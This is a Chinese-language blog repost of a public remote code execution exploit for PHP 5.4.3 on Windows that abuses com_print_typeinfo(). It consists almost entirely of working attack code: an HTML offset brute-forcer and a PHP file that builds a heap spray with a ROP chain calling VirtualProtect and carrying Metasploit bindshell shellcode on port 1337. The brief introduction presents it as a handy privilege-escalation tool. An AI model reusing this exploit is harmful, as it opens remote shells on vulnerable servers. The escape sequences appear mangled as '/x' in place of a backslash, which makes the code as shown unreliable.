php5.4.3版本 远程代码执行漏洞

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所属分类:漏洞时代
摘要

PHP com_print_typeinfo()的漏洞,通过PHP代码调用”exec”可运行SHELL命令
用这个提权是不是很方便了?

PHP com_print_typeinfo()的漏洞,通过PHP代码调用"exec"可运行SHELL命令
用这个提权是不是很方便了?

保存php文件,代码:

// Exploit Title: PHP 5.4 (5.4.3) Code Execution 0day (Win32)
// Exploit author: 0in (Maksymilian Motyl)
// Email: 0in(dot)email(at)gmail.com
// * Bug with Variant type parsing originally discovered by Condis
// Tested on Windows XP SP3 fully patched (Polish)
===================
offset-brute.html
===================
<html><body>
<title>0day</title>
<center>
<font size=7>PHP 5.4.3 0day by 0in & cOndis</font><br>
<textarea rows=50 cols=50 id="log"></textarea>
</center>
<script>
function sleep(milliseconds) {
var start = new Date().getTime();
for (var i = 0; i < 1e7; i++) {
if ((new Date().getTime() - start) > milliseconds){
break;
}
}
}
function makeRequest(url, parameters)
{
var xmlhttp = new XMLHttpRequest();
if (window.XMLHttpRequest) {
xmlhttp = new XMLHttpRequest();
if (xmlhttp.overrideMimeType) {
xmlhttp.overrideMimeType('text/xml');
}
} else if (window.ActiveXObject) {
// IE
try { xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); }
catch (e) {
try { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); }
catch (e) {}
}
}
if (!xmlhttp) {
alert('Giving up php5.4.3版本 远程代码执行漏洞 Cannot create an XMLHTTP instance');
return false;
}
xmlhttp.open("GET",url,true);
xmlhttp.send(null);
return true;
}
test=document.getElementById("log");
for(offset=0;offset<300;offset++)
{
log.value+="Trying offset:"+offset+"/r/n";
makeRequest("0day.php?offset="+offset);
sleep(500);
}
</script></body></html>
===================
0day.php
===================
<?php
$spray = str_repeat("/x90",0x200);
$offset=$_GET['offset'];
// 775DF0Da # ADD ESP,10 # RETN ** [ole32.dll]
$spray = substr_replace($spray, "/xda/xf0/x5d/x77", (strlen($spray))*-1,(strlen($spray))*-1);
// :> 0x048d0030

$spray = substr_replace($spray, pack("L",0x048d0030+$offset), (strlen($spray)-0x8)*-1,(strlen($spray))*-1);
//0x7752ae9f (RVA : 0x0005ae7f) : # XCHG EAX,ESP # MOV ECX,468B0000 # OR AL,3 # RETN [ole32.dll]
$spray = substr_replace($spray, "/x9f/xae/x52/x77", (strlen($spray)-0x10)*-1,(strlen($spray))*-1);
// Adress of VirtualProtect 0x7c801ad4
$spray = substr_replace($spray, "/xd4/x1a/x80/x7c", (strlen($spray)-0x14)*-1,(strlen($spray))*-1);
// LPVOID lpAddress = 0x048d0060
$spray = substr_replace($spray, pack("L",0x048d0060+$offset), (strlen($spray)-0x1c)*-1,(strlen($spray))*-1);
// SIZE_T dwSize = 0x01000000
$spray = substr_replace($spray, "/x00/x00/x10/x00", (strlen($spray)-0x20)*-1,(strlen($spray))*-1);
// DWORD flNewProtect = PAGE_EXECUTE_READWRITE (0x00000040) | 0xffffffc0
$spray = substr_replace($spray, "/x40/x00/x00/x00", (strlen($spray)-0x24)*-1,(strlen($spray))*-1);
// __out PDWORD lpflOldProtect = 0x04300070 | 0x105240000
// 0x048d0068
$spray = substr_replace($spray, pack("L",0x048d0068+$offset), (strlen($spray)-0x28)*-1,(strlen($spray))*-1);
//0x77dfe8b4 : # XOR EAX,EAX # ADD ESP,18 # INC EAX # POP EBP # RETN 0C ** [ADVAPI32.dll]
$spray = substr_replace($spray, "/xb4/xe8/xdf/x77", (strlen($spray)-0x18)*-1,4);
// Ret Address = 0x048d0080
$spray = substr_replace($spray, pack("L",0x048d0080+$offset), (strlen($spray)-0x48)*-1,4);
$stacktrack = "/xbc/x0c/xb0/xc0/x00";
// Universal win32 bindshell on port 1337 from metasploit
$shellcode = $stacktrack."/x33/xc9/x83/xe9/xb0".
"/x81/xc4/xd0/xfd/xff/xff".
"/xd9/xee/xd9/x74/x24/xf4/x5b/x81/x73/x13/x1d".
"/xcc/x32/x69/x83/xeb/xfc/xe2/xf4/xe1/xa6/xd9/x24/xf5/x35/xcd/x96".
"/xe2/xac/xb9/x05/x39/xe8/xb9/x2c/x21/x47/x4e/x6c/x65/xcd/xdd/xe2".
"/x52/xd4/xb9/x36/x3d/xcd/xd9/x20/x96/xf8/xb9/x68/xf3/xfd/xf2/xf0".
"/xb1/x48/xf2/x1d/x1a/x0d/xf8/x64/x1c/x0e/xd9/x9d/x26/x98/x16/x41".
"/x68/x29/xb9/x36/x39/xcd/xd9/x0f/x96/xc0/x79/xe2/x42/xd0/x33/x82".
"/x1e/xe0/xb9/xe0/x71/xe8/x2e/x08/xde/xfd/xe9/x0d/x96/x8f/x02/xe2".
"/x5d/xc0/xb9/x19/x01/x61/xb9/x29/x15/x92/x5a/xe7/x53/xc2/xde/x39".
"/xe2/x1a/x54/x3a/x7b/xa4/x01/x5b/x75/xbb/x41/x5b/x42/x98/xcd/xb9".
"/x75/x07/xdf/x95/x26/x9c/xcd/xbf/x42/x45/xd7/x0f/x9c/x21/x3a/x6b".
"/x48/xa6/x30/x96/xcd/xa4/xeb/x60/xe8/x61/x65/x96/xcb/x9f/x61/x3a".
"/x4e/x9f/x71/x3a/x5e/x9f/xcd/xb9/x7b/xa4/x37/x50/x7b/x9f/xbb/x88".
"/x88/xa4/x96/x73/x6d/x0b/x65/x96/xcb/xa6/x22/x38/x48/x33/xe2/x01".
"/xb9/x61/x1c/x80/x4a/x33/xe4/x3a/x48/x33/xe2/x01/xf8/x85/xb4/x20".
"/x4a/x33/xe4/x39/x49/x98/x67/x96/xcd/x5f/x5a/x8e/x64/x0a/x4b/x3e".
"/xe2/x1a/x67/x96/xcd/xaa/x58/x0d/x7b/xa4/x51/x04/x94/x29/x58/x39".
"/x44/xe5/xfe/xe0/xfa/xa6/x76/xe0/xff/xfd/xf2/x9a/xb7/x32/x70/x44".
"/xe3/x8e/x1e/xfa/x90/xb6/x0a/xc2/xb6/x67/x5a/x1b/xe3/x7f/x24/x96".
"/x68/x88/xcd/xbf/x46/x9b/x60/x38/x4c/x9d/x58/x68/x4c/x9d/x67/x38".
"/xe2/x1c/x5a/xc4/xc4/xc9/xfc/x3a/xe2/x1a/x58/x96/xe2/xfb/xcd/xb9".
"/x96/x9b/xce/xea/xd9/xa8/xcd/xbf/x4f/x33/xe2/x01/xf2/x02/xd2/x09".
"/x4e/x33/xe4/x96/xcd/xcc/x32/x69";
$spray = substr_replace($spray,$shellcode, (strlen($spray)-0x50)*-1,(strlen($shellcode)));
$fullspray="";
for($i=0;$i<0x4b00;$i++)
{
$fullspray.=$spray;
}
$j=array();
$e=array();
$b=array();
$a=array();
$c=array();
array_push($j,$fullspray);
array_push($e,$fullspray."W");
array_push($b,$fullspray."A");
array_push($a,$fullspray."S");
array_push($c,$fullspray."!");
$vVar = new VARIANT(0x048d0038+$offset);
// Shoot him
com_print_typeinfo($vVar); //CRASH -> 102F3986 FF50 10 CALL DWORD PTR DS:[EAX+10]
echo $arr;
echo $spray;
?>

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